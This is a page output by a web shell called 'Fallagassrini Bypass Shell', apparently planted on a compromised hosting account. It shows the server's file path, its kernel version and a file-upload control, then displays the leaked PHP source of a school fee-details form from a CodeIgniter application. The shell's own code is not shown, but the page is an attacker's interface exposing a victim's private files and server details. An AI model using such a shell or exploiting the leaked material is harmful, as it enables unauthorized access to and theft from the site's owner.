? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/cocorico/application/views/student/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/cocorico/application/views/student/load_class_fee_details.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
?>
<script>
function particular_checking(obj)
{
   var selectValue=obj.value;
   var index =  $(obj).parents('tr').index();
   
   var $table = $(obj).parents('table');
   
    $table.find('tbody tr').each(function(i,o){
        if(index > i)
        {
            var curretValue = $(o).find('td').first().find('select').first().val();
            if(curretValue ==  selectValue)
            {
                alert('valeu already selected');
                $(obj).val('');
            }
        }
    });
    
}
function particular_name_checking(obj)
{
    var selectValue=obj.value;
    var index =  $(obj).parents('tr').index();
    var $table = $(obj).parents('table');
    
    if(particular_name_checking_previous(selectValue))
    {
        alert('value already selected');
        $(obj).val('');
    }
    else
    {
        $table.find('tbody tr').each(function(i,o)
        {
            if(index > i)
            {
                var curretValue = $(o).find('td').first().find('select').first().val();
                if(curretValue ==  selectValue)
                {


                    alert('value already selected');
                    $(obj).val('');
                }
            }
        });
    }
}
function particular_name_checking_previous(selectValue)
{
   
     
    var $table = $("#particular");
    var returnvalue = false;
     $table.find('tbody tr').each(function(i,o){
      
        var selected_value = $(o).find('td').first().find('input').first().val();
        
        if(selected_value ==  selectValue)
        {
            returnvalue = true;
        }
    });
    return returnvalue;
}
</script>

<?php
$i = 0;
$academic_year_id = $academic_year;
$term_academic_details = $this->mastermodel->get_data_dual_srow('term_academic_details', $term_id, 'term_id', $academic_year_id, 'academic_year_id');

//$no_of_days=$this->studentmodel->days_added_for_class($class_term_id,$class_name_academic_year_id,$class_session);

if (count($fee_deatils))
{
    ?>
    <h3 class="form-section">Student Fee Details</h3>
    <table class="table table-striped table-hover table-bordered" cellpadding="0" cellspacing="0" id="particular">
        <thead>
        <tr>       
            <th>Select</th>                   
            <th>Fee Particulars</th>
            <th>No of Days</th>
            <th>Paymparticular_name_checkingent Period</th>
            <th>Amount</th>
        </tr>
        </thead>
        <tbody>
        <?php
        $start = $term_academic_details->term_start_date;
        $end = $term_academic_details->term_end_date;
        foreach ($fee_deatils as $list)
        {

            $dt = $term_academic_details->term_start_date;
            $i++;
            ?>
            <tr>
                <td>
                    <input type="hidden" value="<?= $list['fee_particular_id'] ?>" name="particular_id_<?= $i ?>" id="particular_id_<?= $i ?>"/>
                    <input type="checkbox" name="add_fee_particular[]" value="<?= $i ?>"/> 
                </td>
                <td>
                    <?= $list['fee_particular_name'] ?>
                    
                </td>
                <td>
                    <?= $list['fee_term_no_of_days'] ?>
                </td>                    
                <td>
                    <select class="chosen  span12" name="payment_type_<?= $i ?>" id="payment_type_<?= $i ?>" onchange="getFeeParticularAmount(<?= $list['id'] ?>,this.value,<?= $i ?>)">
                        <option value="">Select</option>
                        <option value="monthly">Monthly</option>
                        <option value="term">Term Wise</option>
                    </select>
                </td>
                <td>
                    <div class="clear"></div>
                    <div id="first_month_div_<?= $i ?>" style="display: none">  
                        <?php
                        $j = 1;
                        while (strtotime($dt) <= strtotime($end))
                        {
                            $month = date('M', strtotime($dt));
                            $year = date('Y', strtotime($dt))
                            ?>
                            <input  style="float: left;" class="span6" type="text" readonly="" value="<?= date('F -Y', strtotime($dt)) ?>"/>
                            <input class="pay_amount<?= $i ?>" name="pay_amount_<?= $i . '_' . $j ?>"  style="float: right; clear: right;text-align: right" class="span12"type="text"value="0"/>
                            <input name="wef_date_<?= $i . '_' . $j ?>" type="hidden" value="<?= $year . '-' . $month . '-01' ?>">     
                            <div class="clear"></div>
                            <?php
                            $dt = date('Y-m-01', strtotime("+1 months", strtotime($dt)));
                            $j++;
                        }
                        ?>

                    </div>                        
                    <input type="text" name="pay_amount_<?= $i ?>" id="pay_amount_<?= $i ?>" class="span12" />
                    <input type="hidden" name="fee_details_id_<?= $i ?>" id="fee_details_id_<?= $i ?>" value="<?= $list['id'] ?>" />
                </td>
            </tr>
            <?php
        }
        ?>
</tbody>
    </table> 
    <table class="table table-striped table-hover table-bordered" cellpadding="0" cellspacing="0" id="tbl1">
        <thead>
        <tr>       

            <th>Fee Particulars</th>
            <th>No of Days</th>
            <th>Payment Period</th>
            <th>Amount</th>
            <th><input type="button" id="button2" value="Add More" class="addRow" title="Add Row" style="width:75px;"/></th>
        </tr>
        </thead>
        <tbody>
        <?php
        $i = 0;
        $fee_particular = $this->mastermodel->search_fee_particular();
        $start = $term_academic_details->term_start_date;
        $end = $term_academic_details->term_end_date;


        $dt = $term_academic_details->term_start_date;
        $i++;
        ?>
        <tr>
            <td>
                <select id="fee_particular_id_new_<?= $i ?>" name="fee_particular_id_new_<?= $i ?>" class="chosen valid" onchange="particular_name_checking(this)">
                    <option value="">Select</option>
                    <?php
                    foreach ($fee_particular['results']->result_array() as $value)
                    {
                        echo '<option value="' . $value['fee_particular_id'] . '">' . $value['fee_particular_name'] . '</option>';
                    }
                    ?>
                </select>  
            </td>

            <td>
                <input type="hidden" name="fee_term_no_of_days_new_<?= $i ?>" id="fee_term_no_of_days_new_<?= $i ?>" class="num_only" value="<?= $list['fee_term_no_of_days'] ?>" />
                <?= $list['fee_term_no_of_days'] ?>
            </td>                    
            <td>
                <select class="chosen span12" name="payment_type_new_<?= $i ?>" id="payment_type_new_<?= $i ?>" onchange="getFeeParticularAmountNew(this.value, '<?= $i; ?>')">
                    <option value="">Select</option>
                    <option value="monthly">Monthly</option>
                    <option value="term">TermWise</option>
                </select>
            </td>
            <td>
                <div class="clear"></div>
                <div id="first_month_div_new_<?= $i ?>" style="display: none">  
                    <?php
                    $j = 1;
                    while (strtotime($dt) <= strtotime($end))
                    {
                        $month = date('M', strtotime($dt));
                        $year = date('Y', strtotime($dt))
                        ?>
                        <input  name="payment_date_new_<?= $i ?>" id="payment_date_new_<?= $i ?>"style="float: left;" class="span6" type="text" readonly="" value="<?= date('F -Y', strtotime($dt)) ?>"/>
                        <input name="wef_date_new_<?= $i . '_' . $j ?>" id="test" type="hidden" value="<?= $year . '-' . $month . '-01' ?>"/>     
                        <input class="pay_amount_new<?= $i ?>" name="pay_amount_new_<?= $i . '_' . $j ?>" id="testeer" style="float: right; clear: right;text-align: right; width: 50px;" type="text" value="0"/>
                        <div class="clear"></div>
                        <?php
                        $dt = date('Y-m-01', strtotime("+1 months", strtotime($dt)));
                        $j++;
                    }
                    ?>

                </div>                        
                <input type="text"name="pay_amount_new_<?= $i ?>" id="pay_amount_new_<?= $i ?>" class="span12" />
            </td>
            <td>
                <img style="float: right; vertical-align: top;"src="<?= base_url() ?>assets/img/close.png" alt="Delete Row" class="delRow clickimage" title="Delete Row"/>
            </td>
        </tr>
        <?php
        ?>
        </tbody>
    </table>
    <?php
}
else
{
    $data['academic_year_id'] = $class_details->class_name_academic_year_id;
    $data['term_academic_details'] = $this->mastermodel->get_data_dual_srow('term_academic_details', $class_details->class_name_academic_year_id, 'academic_year_id', $term_id, 'term_id');
    $data['nodays']=$no_days;

    ?>
    <input id="class_term_id_add" name="class_term_id_add" value="<?= $term_id ?>" type="hidden"/>
    <input id="class_name_academic_year_id_add" name="class_name_academic_year_id_add" value="<?= $class_details->class_name_academic_year_id ?>" type="hidden"/>
    <input id="class_session_add" name="class_session_add" value="<?= $session; ?>" type="hidden"/>

    <?php
    $this->load->view('student/add_new_fee_details', $data);
}
?>

<input id="term_id" name="term_id" value="<?= $term_id ?>" type="hidden"/>
<input id="index" name="index" value="<?= $i ?>" type="hidden"/> 


<input id="class_term_id_add" name="class_term_id_add" value="<?= $term_id ?>" type="hidden"/>
<input id="class_name_academic_year_id_add" name="class_name_academic_year_id_add" value="<?= $class_details->class_name_academic_year_id ?>" type="hidden"/>
<input id="class_session_add" name="class_session_add" value="<?= $session ?>" type="hidden"/>

<script defer type="text/javascript">
$(document).ready(function()
{
     $(".addRow").btnAddRow({inputBoxAutoNumber:true},function(row)
    {
        $(row).find('.calfocus').each(function()
        {
            $(this).removeClass();
            $(this).addClass('calfocus').addClass('medium');
            $(this).datepick({dateFormat: 'dd-mm-yyyy'});
        });
         $(row).find('select').removeClass('chosen').show();
            $(row).find('.chzn-container').remove();
            $(row).find('.chosen').chosen();
    });
    $(".delRow").btnDelRow();
});
</script>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net